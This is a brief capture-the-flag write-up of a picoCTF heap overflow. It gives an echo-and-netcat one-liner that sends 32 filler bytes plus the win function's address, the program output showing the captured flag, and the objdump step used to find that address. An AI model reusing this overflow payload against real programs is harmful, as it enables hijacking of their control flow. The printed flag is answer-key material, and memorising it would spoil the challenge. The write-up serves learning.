```
echo -e -n
"2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\x00\x00\x00\x00\n3\n4\n"
| nc mimas.picoctf.net 59610
```

```
I have a function, I sometimes like to call it, maybe you should change it


1. Print Heap

2. Write to buffer

3. Print x

4. Print Flag

5. Exit


Enter your choice: Data for buffer:

1. Print Heap

2. Write to buffer

3. Print x

4. Print Flag

5. Exit


Enter your choice:


x = ⍰@



1. Print Heap

2. Write to buffer

3. Print x

4. Print Flag

5. Exit


Enter your choice: picoCTF{and_down_the_road_we_go_856288fc}
```

So with 32 A we can overload the heap buffer

```
┌──(root㉿kali)-[/home/kali/Downloads]

└─# objdump -D chall | grep win

00000000004011a0 <win>:

00000000004011f0 <check_win>:
```

We got he address of win function from objdump and we will convert it to hex format and then place it at the end of of the 32 A print out the x value, make sure it is @ to the win function.